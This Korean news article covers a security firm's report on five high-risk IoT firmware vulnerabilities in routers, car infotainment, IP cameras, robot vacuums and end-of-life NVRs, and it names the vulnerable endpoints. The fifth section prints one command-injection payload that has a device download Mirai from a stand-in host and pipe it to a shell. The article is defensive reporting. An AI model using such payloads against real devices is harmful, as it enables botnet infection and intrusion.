간단한 웹 요청으로 기기 전체 장악 가능
IoT 기기 보안 위협 가속… “보안 중요성 환기하는 계기 되길”
XIoT 보안 전문 기업 ‘지엔(ZIEN, 대표 조영민)’이 ‘2025 상반기 가장 위험한 펌웨어 취약점 TOP 5’ 리포트를 공개했다.
지엔은 공개된 CVE 취약점 가운데 특히 위험성이 높은 취약점 5개를 분석하고, 이를 활용한 공격 시나리오와 예상 피해 사례도 함께 제시했다. 가정용 공유기부터 차량의 인포테인먼트 시스템(IVI), 기업·의료기관의 보안 카메라에 이르기까지 광범위한 기기에서 발견된 고위험 취약점을 중심으로 실제 공격 시나리오와 산업별 파급력을 심층 분석했다.
지엔은 2021년 화이트해커 출신 조영민 대표가 설립한 XIoT 융합 보안 전문 기업으로, 스마트홈, 스마트팩토리, 모빌리티, 스마트시티 등 다양한 분야의 IoT 보안 솔루션을 국내 기업에 제공하고 있으며, 전문 역량과 기술력을 통해 IoT 디바이스가 연결된 환경을 안정적이고 견고하게 구축할 수 있도록 돕고 있다.
지엔은 지난해 ICT 분야 국정감사에서 중국산 IoT 기기의 해킹 시나리오를 직접 시연하며 해킹공격의 과정 전반을 선보인 바 있으며, 최근 글로벌 해킹대회 폰투온에서 차량 인포테인먼트 해킹에 대한 취약점을 보고해 주최측으로부터 호평받기도 했다.
지엔 보안 연구팀은 리포트에서 “2025년 상반기 IoT 보안의 핵심 키워드는 ‘넓어진 공격 표면, 미흡한 기본 보안’”이라며, 인증 우회, 입력값 검증 부재, 보안 업데이트가 중단된 EOL(End-of-Life) 기기의 방치가 주요 위험 요인으로 부상하고 있다고 강조했다.
지엔이 공개한 IoT 기기 펌웨어 보안 취약점 TOP5는 ▲A사 공유기 원격 코드 실행 ▲B사 차량용 IVI 시스템 파일 생성 취약점 ▲C사 IP 카메라 원격 명령 실행 ▲D사 로봇청소기 인증 우회▲E사 EOL 기기 명령어 삽입이며, 각각의 세부 내용은 다음과 같다.
*지엔이 분석한 CVE 취약점은 모두 이미 공개된 취약점으로, 현재 해당 취약점에 대한 보안 패치는 완료된 상태다.
① A사 공유기 원격 코드 실행 취약점
심각도: 9.8 (Critical)
A사 공유기는 국내외에서 널리 사용되는 가정용 무선 공유기다. 지엔 보안연구팀은 해당 기기의 PPPoE 설정 기능에서 입력값을 적절히 필터링하지 않아, 인증 없이 악성 명령어를 실행할 수 있는 치명적인 취약점을 발견했다. 단 한 번의 웹 요청만으로 공격자는 공유기 전체를 장악할 수 있으며, 사용자 네트워크에 접속한 모든 트래픽을 감시하거나 변조할 수 있다.
이 취약점은 /goform/QuickIndex API에서 발생한다. 공격자가 PPPOEPassword 항목에 지나치게 긴 문자열을 입력하면, 공유기 내부의 메모리(스택)가 침범당하면서 악성코드가 실행된다. 전형적인 스택 기반 버퍼 오버플로우 공격으로, 인증 절차가 전혀 필요하지 않다는 점에서 위험성이 매우 높다.
공격자는 악성 구문이 담긴 HTTP POST 요청을 공유기에 전송함으로써, 전체 제어권을 획득할 수 있다. 이후 트래픽을 가로채거나, 특정 사이트 접속을 방해하거나, 피싱 사이트로 자동 리디렉션을 유도하는 등 다양한 후속 공격을 수행할 수 있다.
이 취약점은 공유기를 매개로 한 사생활 침해, 계정 탈취, 랜섬웨어 유포 등 다양한 보안 위협의 발판이 될 수 있으며, 보안 패치가 적용되지 않은 기기는 즉각적인 조치가 필요하다.
② B사 차량용 IVI 시스템 원격 파일 생성 취약점
심각도: 8.0 (High)
B사 차량용 인포테인먼트 시스템(IVI)은 운전 중 음악, 내비게이션 등을 조작할 수 있게 해주는 장치다. 지엔은 해당 시스템이 외부 서버에서 파일을 받아 저장할 때, 파일 경로를 검증하지 않아 공격자가 악성 파일을 삽입할 수 있는 취약점을 발견했다. 이로 인해 차량 내 파일 시스템이 손상되거나, 시스템 설정 파일이 덮어씌워질 수 있다.
해당 취약점은 Gracenote API의 응답 데이터를 처리할 때 발생한다. 공격자는 차량이 연결된 네트워크 환경을 가로채거나, 가짜 서버를 통해 ../../../ 패턴이 포함된 디렉터리 트래버설 구문과 함께 악성파일을 전송한다. 이를 통해 시스템이 중요한 파일을 교체하게 되면, 차량 재시작 시 공격자가 삽입한 악성 프로그램이 자동 실행될 수 있다.
공격자는 차량이 와이파이에 연결되었을 때 의도적으로 조작된 데이터를 전송하고, 설정 파일을 악성코드로 덮어씌운다. 재시작 이후 루트 권한으로 악성코드가 작동하며, IVI UI를 이상하게 만들거나, 시스템 기능을 마비시키는 등의 피해를 유발할 수 있다.
이는 단순한 정보 침해를 넘어 운전자 혼란 유발, 안전 위협, 차량 시스템 장악 등으로 이어질 수 있으며, 차량 보안 설계 시 OTA 무결성 검증 및 접근 제어 강화를 필수로 요구한다.
③ C사 IP 카메라 원격 명령 실행 취약점
심각도: 9.8 (Critical)
C사 IP 카메라는 가정과 사무실에서 널리 사용되고 있다. 지엔은 이 장치가 내부 명령어 입력값 검증 없이, 인증 없이도 시스템 명령어를 실행할 수 있는 심각한 취약점을 보유하고 있음을 확인했다. 이는 공격자가 카메라를 완전히 통제할 수 있도록 허용하며, 실제로도 봇넷 악성코드(Mirai 등)에 의해 광범위하게 악용된 사례가 있다.
이 취약점은 /camera-cgi/admin/param.cgi API에서 발생한다. 사용자가 시간 동기화 설정을 입력하는 항목에 시스템 명령어를 삽입해 전송하면, 카메라는 이를 정상 명령으로 인식하고 그대로 실행하게 된다. 예를 들어 wget과 sh 명령어가 포함된 요청이 전송되면, 카메라는 원격에서 악성코드를 다운로드하고 자동 실행시킨다.
공격자는 인증 없이 조작된 요청을 보낸 뒤, 카메라 내부에서 악성 스크립트를 실행시켜 시스템을 통제한다. 이후 영상 스트리밍을 조작하거나, 다른 IoT 기기를 공격하는 중계기 역할로도 활용할 수 있다.
본 취약점은 사생활 침해, 기업 내 망 확산, DDoS 봇넷 감염 등 다방면의 보안 위협으로 이어질 수 있으며, 긴급한 펌웨어 업데이트가 요구된다.
④ D사 로봇청소기 클라우드 인증 우회 취약점
심각도: 6.5 (Medium)
E사의 일부 로봇청소기 모델은 카메라 및 마이크를 통해 실내 스트리밍 기능을 제공하며, 기본적으로 PIN 인증을 요구한다. 그러나 지엔은 이 PIN 인증이 앱 내부에서만 작동하고, 정작 서버나 기기에서는 무시된다는 구조적 취약점을 확인했다. 결과적으로 공격자는 PIN을 몰라도 계정 정보만으로 실시간 영상 스트리밍에 접근할 수 있다.
해당 취약점은 WebRTC 기반 스트리밍 요청 과정에서 발생한다. 클라이언트 앱은 PIN 설정을 체크하지만, 실제 연결을 담당하는 API는 PIN 검증 로직을 생략한다. 공격자는 인증 토큰을 탈취하거나 세션을 하이재킹하여, PIN을 입력하지 않고도 스트리밍에 접근할 수 있다.
공격자는 E사 앱의 취약점이나 사회공학 기법으로 인증 토큰을 획득한 뒤, 클라우드 스트리밍 요청을 보낸다. 이때 잘못된 PIN을 입력하거나, PIN을 생략해도 정상 연결이 성립되어 카메라와 마이크에 접속할 수 있게 된다.
이로 인해 사용자 몰래 실내를 엿보거나 녹음하는 사생활 침해 사고가 발생할 수 있으며, IoT 기기의 인증 구조 재설계가 시급한 상황이다.
⑤ E사 EOL 기기 명령어 삽입 취약점
심각도: 9.8 (Critical)
E사의 일부 보안 카메라 및 NVR(Network Video Recorder) 장비는 제조사의 지원이 종료된 EOL(End-of-Life) 기기다. 인터넷에 연결되어 사용 중인 이 장비에는 인증 없이 명령어를 삽입해 실행할 수 있는 심각한 취약점이 남아 있다. 지엔은 이 문제를 실제 해커 커뮤니티에서 공격도구로 활용되고 있는 사례를 기반으로 분석했다.
취약점은 /DateSetting.cgi API에서 발생한다. 공격자는 단순한 시간 설정 명령에 시스템 명령어를 추가로 삽입할 수 있으며, 로그인 절차 없이 전체 시스템을 통제할 수 있게 된다.
예: szSrvIpAddr=time.windows.com;wget http://malicious.site/mirai -O- | sh
공격자는 IP 탐색 도구를 이용해 외부에서 G사 기기를 찾고, 악성 요청을 전송해 명령어를 삽입한다. 이후 기기는 자동으로 공격자의 악성코드를 다운로드 및 실행하며, 봇넷에 편입되거나, 내부망 침투의 거점이 된다.
이러한 장비는 대부분 물리 보안 인프라에 속해 있음에도 방치되는 경우가 많으며, 기업 내부망 공격, DDoS, 랜섬웨어 유포 등 2차 피해로 이어질 가능성이 크다.
지엔이 이번에 공개한 취약점은 간단한 웹 요청이나 비교적 손쉬운 방법으로 기기 전체를 장악하거나 사생활 침해가 가능한 것이 특징이다.
지엔 조영민 대표는 “IoT 보안 위협은 더 이상 추상적인 개념이 아니라, 현실적인 피해로 이어지는 직접적 위협”이라며 “이번 리포트가 기업과 소비자 모두에게 보안의 중요성을 다시금 환기시키는 계기가 되기를 바란다”고 전했다.
🔗 이번 보고서 전문은 지엔 홈페이지에서 확인할 수 있다: https://zi-en.io/resources/tech/76
출처: 조선비즈